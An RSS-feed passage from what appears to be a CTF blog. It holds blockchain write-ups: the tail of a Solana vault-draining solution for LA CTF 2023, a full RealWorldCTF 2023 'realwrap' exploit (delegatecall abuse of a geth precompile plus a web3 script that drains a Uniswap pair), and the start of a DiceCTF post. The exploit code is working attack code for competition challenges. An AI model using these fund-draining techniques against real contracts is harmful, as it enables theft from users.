
    entrypoint!(process_instruction);

    pub fn process_instruction(
        program_id: &amp;amp;Pubkey,
        accounts: &amp;amp;[AccountInfo],
        instruction_data: &amp;amp;[u8],
    ) -&amp;gt; ProgramResult {
        let program = accounts[0].clone();
        let user = accounts[1].clone();
        let vault = accounts[2].clone();
        let sailor_union = accounts[3].clone();
        let rich_boi = accounts[4].clone();
        let system_program = accounts[5].clone();
    

        let cpi_accounts = sailor::cpi::accounts::PayDues {
            sailor_union: sailor_union.clone(),
            member: rich_boi.clone(),
            authority: user.clone(),
            vault: vault.clone(),
            system_program: system_program.clone()
        };
        let cpi_ctx = CpiContext::new(program.clone(), cpi_accounts);

        sailor::cpi::pay_dues(cpi_ctx, 100_000_000);

        let cpi_accounts2 = sailor::cpi::accounts::StrikePay {
            sailor_union: sailor_union.clone(),
            member: user.clone(),
            authority: user.clone(),
            vault: vault.clone(),
            system_program: system_program.clone()
        };
        let cpi_ctx2 = CpiContext::new(program.clone(), cpi_accounts2);

        sailor::cpi::strike_pay(cpi_ctx2, 100_000_000);

        Ok(())        
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;lactf{anchor_cant_protect_me_from_my_own_stupidity}&lt;/i&gt;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/152</guid>
      <comments>https://gss1.tistory.com/entry/LA-CTF-2023-pwnbreakup-evmvm-sailor#entry152comment</comments>
      <pubDate>Mon, 13 Feb 2023 22:43:45 +0900</pubDate>
    </item>
    <item>
      <title>RealWorldCTF 2023 - blockchain(realwrap)</title>
      <link>https://gss1.tistory.com/entry/RealWorldCTF-2023-blockchainrealwrap</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I thought &lt;span&gt;RealWorldCTF&lt;span&gt; &lt;/span&gt;&lt;/span&gt;was difficult, but it was such a good experience to solve one challenge.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I&amp;nbsp;found&amp;nbsp;a&amp;nbsp;way&amp;nbsp;to&amp;nbsp;expoit,&amp;nbsp;but&amp;nbsp;I&amp;nbsp;didn't&amp;nbsp;know&amp;nbsp;how&amp;nbsp;to&amp;nbsp;use&amp;nbsp;web3&amp;nbsp;so&amp;nbsp;I&amp;nbsp;had&amp;nbsp;a&amp;nbsp;hard&amp;nbsp;time.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;readme&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WETH on Ethereum is too cumbersome! I'll show you what is real Wrapped ETH by utilizing precompiled contract, it works like a charm especially when exchanging ETH in a swap pair. And most important, IT IS VERY SECURE!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nc 47.254.91.104 20000&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;faucet:&amp;nbsp;&lt;a href=&quot;http://47.254.91.104:8080&quot;&gt;http://47.254.91.104:8080&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RPC(geth v1.10.26 with realwrap patch):&amp;nbsp;&lt;a href=&quot;http://47.254.91.104:8545&quot;&gt;http://47.254.91.104:8545&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/chaitin/Real-World-CTF-5th-Challenges/tree/main/realwrap&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/chaitin/Real-World-CTF-5th-Challenges/tree/main/realwrap&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://pwning.mirror.xyz/okyEG4lahAuR81IMabYL5aUdvAsZ8cRCbYBXh8RHFuE&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://pwning.mirror.xyz/okyEG4lahAuR81IMabYL5aUdvAsZ8cRCbYBXh8RHFuE&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;geth_v1.10.26_precompiled.diff&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ETH can work like WETH by using a precompiled contract.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It's possible to confirm if the functions work by calling them to the WETH address.&lt;/p&gt;
&lt;pre id=&quot;code_1675746556678&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;+var (
+	functions = map[string]RunStatefulPrecompileFunc{
+		calculateFunctionSelector(&quot;name()&quot;):                                 metadata(&quot;name&quot;),
+		calculateFunctionSelector(&quot;symbol()&quot;):                               metadata(&quot;symbol&quot;),
+		calculateFunctionSelector(&quot;decimals()&quot;):                             metadata(&quot;decimals&quot;),
+		calculateFunctionSelector(&quot;balanceOf(address)&quot;):                     balanceOf,
+		calculateFunctionSelector(&quot;transfer(address,uint256)&quot;):              transfer,
+		calculateFunctionSelector(&quot;transferAndCall(address,uint256,bytes)&quot;): transferAndCall,
+		calculateFunctionSelector(&quot;allowance(address,address)&quot;):             allowance,
+		calculateFunctionSelector(&quot;approve(address,uint256)&quot;):               approve,
+		calculateFunctionSelector(&quot;transferFrom(address,address,uint256)&quot;):  transferFrom,
+	}
+	realWrappedEtherAddr = common.HexToAddress(&quot;0x0000000000000000000000000000000000004eA1&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If&amp;nbsp;you&amp;nbsp;look&amp;nbsp;at&amp;nbsp;the&amp;nbsp;implementation&amp;nbsp;of&amp;nbsp;the&amp;nbsp;functions,&amp;nbsp;you&amp;nbsp;will&amp;nbsp;find&amp;nbsp;that&amp;nbsp;there&amp;nbsp;is&amp;nbsp;a&amp;nbsp;problem&amp;nbsp;in&amp;nbsp;calculating&amp;nbsp;the&amp;nbsp;storage&amp;nbsp;location.&lt;/p&gt;
&lt;pre id=&quot;code_1675746735278&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;+func approve(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
+	if evm.interpreter.readOnly {
+		return nil, suppliedGas, ErrWriteProtection
+	}
+	inputArgs := &amp;amp;ApproveInput{}
+	if err = unpackInputIntoInterface(inputArgs, &quot;approve&quot;, input); err != nil {
+		return nil, suppliedGas, err
+	}
+
+	return approveInternal(evm, suppliedGas, caller, inputArgs.Spender, inputArgs.Amount)
+}
+func approveInternal(evm *EVM, suppliedGas uint64, owner, spender common.Address, value *big.Int) (ret []byte, remainingGas uint64, err error) {
+	if remainingGas, err = deductGas(suppliedGas, params.Keccak256Gas*2); err != nil {
+		return nil, 0, err
+	}
+	loc := calculateAllowancesStorageSlot(owner, spender)
+
+	if remainingGas, err = deductGas(suppliedGas, params.SstoreSetGas); err != nil {
+		return nil, 0, err
+	}
+
+	evm.StateDB.SetState(realWrappedEtherAddr, loc, common.BigToHash(value))
+	return math.PaddedBigBytes(common.Big1, common.HashLength), remainingGas, nil
+}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;approve(owner, spender, amount) call approveInternal(owner, spender, amount).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;approveInternal() has following code to execute &lt;b&gt;allowance[owner][spedner] = amount&lt;/b&gt;.&lt;/p&gt;
&lt;pre id=&quot;code_1675746907754&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;loc := calculateAllowancesStorageSlot(owner, spender)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In ERC20 token..&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;If the approve function is called by &lt;b&gt;delegatecall&lt;/b&gt;, the caller's context remains unchanged, so the caller can not access the allowance.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But precompiled contract does not check that is it staticcall or delegatecall?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; approve(WETH, me, infinity)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I got the infinity allowance of anyone by &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;uniswap&amp;nbsp;pair&amp;nbsp;&amp;rarr;(call)&amp;nbsp;uniswapV2Call&amp;nbsp;&amp;rarr;(delegatecall)&amp;nbsp;precompiled&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next, transferAndCall(to, amount, data) function can make call(data)&lt;/p&gt;
&lt;pre id=&quot;code_1675747411744&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;+func transferAndCall(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
+	if readOnly {
+		return nil, suppliedGas, ErrWriteProtection
+	}
+	inputArgs := &amp;amp;TransferAndCallInput{}
+	if err = unpackInputIntoInterface(inputArgs, &quot;transferAndCall&quot;, input); err != nil {
+		return nil, suppliedGas, err
+	}
+
+	if ret, remainingGas, err = transferInternal(evm, suppliedGas, caller, inputArgs.To, inputArgs.Amount); err != nil {
+		return ret, remainingGas, err
+	}
+
+	code := evm.StateDB.GetCode(inputArgs.To)
+	if len(code) == 0 {
+		return ret, remainingGas, nil
+	}
+
+	snapshot := evm.StateDB.Snapshot()
+	evm.depth++
+	defer func() { evm.depth-- }()
+
+	if ret, remainingGas, err = evm.Call(AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0); err != nil {
+		evm.StateDB.RevertToSnapshot(snapshot)
+		if err != ErrExecutionReverted {
+			remainingGas = 0
+		}
+	}
+
+	return ret, remainingGas, err
+}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;My call context(&lt;b&gt;msg.sender&lt;/b&gt;) is setted &lt;b&gt;uniswap pair&lt;/b&gt; in simple Token. =&amp;gt; approve(uniswap pair, me, infinity)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I got all of simple token that uniswap pair has&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffc9af;&quot;&gt;by uniswap pair &amp;rarr;(call) uniswapV2Call &amp;rarr;(delegatecall) precompiled &amp;rarr;(evm.Call) simpleToken&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Exploit&lt;/h3&gt;
&lt;pre id=&quot;code_1675926385890&quot; class=&quot;sol routeros&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Attacker{
	address WETH = 0x0000000000000000000000000000000000004eA1;
  address my = 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3;
  address pair = 0x329c2258ff58a97f808571c20628fAa19E6Ca1Ed;
  address token1 = 0x540E136cBeDf274aa65FFb1A5De5454Bbb56EFd1;
	function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external {
        (bool succc, ) = WETH.delegatecall(abi.encodeWithSignature(&quot;approve(address,uint256)&quot;, my, 100 ether));
        require(succc == true, &quot;?&quot;);
        (bool succcc, ) = WETH.delegatecall(abi.encodeWithSignature(&quot;transferAndCall(address,uint256,bytes)&quot;, token1, 0.1 ether, abi.encodeWithSignature(&quot;approve(address,uint256)&quot;, my, 100 ether)));
        require(succc == true, &quot;?&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1675926398166&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider(&quot;http://47.254.91.104:8545&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey =  '0x126ed23464f5f3f03352fa6cad4731712fc896162711f9a1e04e7d982a6d7635'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3

myAddr = &quot;0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3&quot;

def transfer(erc20, to: str, amount: int):
    f = open('erc20_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=erc20, abi=abi)
    func_call = contract.functions[&quot;transfer&quot;](to, amount).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def swap(pair, out1:int, out2:int, to:str):
    f = open('pair_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=pair, abi=abi)
    func_call = contract.functions[&quot;swap&quot;](out1, out2, to, b&quot;1&quot;*32).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def transferFrom(_token: str, _from: str, _to: str, _amount: int):
    f = open('erc20_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=_token, abi=abi)
    func_call = contract.functions[&quot;transferFrom&quot;](_from, _to, _amount).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def approve():
    WETH = &quot;0x0000000000000000000000000000000000004eA1&quot;
    pair = &quot;0xcd2b747e7f620224274Eb9BfC8669D8C2CAF914d&quot;
    token1 = &quot;0xd80A0eFdC40C532C5506623F1786a1a8F557f51a&quot;
    f = open('erc20_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=token1, abi=abi)
    func_call = contract.functions[&quot;approve&quot;](pair, 10**18).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)


def createAttack():
    f = open(&quot;attack_abi&quot;, &quot;r&quot;)
    erc20_abi= f.read()
    f.close()
    f = open(&quot;attack_bytecode&quot;, &quot;r&quot;)
    erc20_bytecode= f.read()
    f.close()

    simpleToken = w3.eth.contract(abi=erc20_abi, bytecode=erc20_bytecode)
    transaction = simpleToken.constructor().buildTransaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)

def sync(_pair):
    f = open('pair_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=_pair, abi=abi)
    func_call = contract.functions[&quot;sync&quot;]().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)


WETH = &quot;0x0000000000000000000000000000000000004eA1&quot;
FACTORY = &quot;0xd179bc7A30de61485665Bd5ebC628B9bCC4FFf94&quot;
PAIR = &quot;0x329c2258ff58a97f808571c20628fAa19E6Ca1Ed&quot;
SIMPLETOKEN = &quot;0x540E136cBeDf274aa65FFb1A5De5454Bbb56EFd1&quot;
ATTACK = &quot;0x94F5e5619DEFfEB06fc6a4Da4b494fd3bA62E0b7&quot;


createAttack()

ATTACK = input(&quot;attacker contract address: &quot;)

transfer(WETH, PAIR, int(0.4 * 10**18))
swap(PAIR, 0, 50, ATTACK)
transferFrom(SIMPLETOKEN, PAIR, myAddr, 100 * 10 ** 18 - 50)
transferFrom(WETH, PAIR, myAddr, int(1.4 * 10**18))
sync(PAIR)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #333333; font-size: 16px; letter-spacing: 0px;&quot;&gt;rwctf{pREcOmpilEd_m4st3r_5TolE_mY_M0ney}&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/148</guid>
      <comments>https://gss1.tistory.com/entry/RealWorldCTF-2023-blockchainrealwrap#entry148comment</comments>
      <pubDate>Thu, 9 Feb 2023 16:07:24 +0900</pubDate>
    </item>
    <item>
      <title>DiceCTF 2023 - pwn(Baby-Solana, OtterWorld)</title>
      <link>https://gss1.tistory.com/entry/DiceCTF-2023-pwnBaby-Solana-OtterWorld</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Five months ago, I started studying and having interest in blockchain.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In RealWorld CTF, Idek CTF, I solved some blockchain challenges.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I didn't expect blockchain challenges because there was no blockchain category in DiceCTF.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, when I looked at the names of challs, I realized there were blockchain challs!!.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;After a lot of trial and error, I solved both of the blockchain challs!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpPyy4/btrYeZcsoYa/kkmuTgFwIlTCl0DfpiKlb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpPyy4/btrYeZcsoYa/kkmuTgFwIlTCl0DfpiKlb1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;557&quot; data-origin-height=&quot;350&quot; data-filename=&quot;baby-solana.png&quot; width=&quot;318&quot; height=&quot;200&quot; style=&quot;width: 45.0985%; margin-right: 10px;&quot; data-widthpercent=&quot;45.63&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpPyy4/btrYeZcsoYa/kkmuTgFwIlTCl0DfpiKlb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpPyy4%2FbtrYeZcsoYa%2FkkmuTgFwIlTCl0DfpiKlb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;557&quot; height=&quot;350&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Exyli/btrYieGW3QA/7ZAV023UfaruOI251HkVCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Exyli/btrYieGW3QA/7ZAV023UfaruOI251HkVCK/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;299&quot; data-filename=&quot;otter world.png&quot; width=&quot;324&quot; height=&quot;171&quot; style=&quot;width: 53.7387%;&quot; data-widthpercent=&quot;54.37&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Exyli/btrYieGW3QA/7ZAV023UfaruOI251HkVCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FExyli%2FbtrYieGW3QA%2F7ZAV023UfaruOI251HkVCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;567&quot; height=&quot;299&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I&amp;nbsp;will&amp;nbsp;write&amp;nbsp;a&amp;nbsp;write-up&amp;nbsp;about&amp;nbsp;how&amp;nbsp;I&amp;nbsp;approached&amp;nbsp;and&amp;nbsp;solved&amp;nbsp;problems&amp;nbsp;from&amp;nbsp;a&amp;nbsp;&lt;b&gt;beginner's&amp;nbsp;perspective&lt;/b&gt;&amp;nbsp;in&amp;nbsp;rust&amp;nbsp;and&amp;nbsp;solana.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Environment&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/otter-sec/sol-ctf-framework&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/otter-sec/sol-ctf-framework&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Recently encountered challs used this framework.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When you look at the chall files, you can see that there are &lt;span style=&quot;background-color: #f6e199;&quot;&gt;framework&lt;/span&gt;&amp;nbsp;and&amp;nbsp;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;framework-solve&lt;/span&gt;&amp;nbsp;folders.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework/src/main.rs&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework/chall/programs/chall/src/lib.rs&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework-solve/src/main.rs&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework-solve/chall/programs/chall/src/lib.rs&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In most cases, examining these four files will be sufficient to understand the given challenge.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;How do I connect the remote server?&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In &lt;span style=&quot;background-color: #f6e199;&quot;&gt;/framework-solve/src/main.rs&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1675705031076&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;let mut stream = TcpStream::connect(&quot;127.0.0.1:8080&quot;)?;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, DiceCTF provided SSL connection.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://klodd.tjcsec.club/how-to/#tcp-challenges&quot;&gt;https://klodd.tjcsec.club/how-to/#tcp-challenges&lt;/a&gt;&lt;/p&gt;
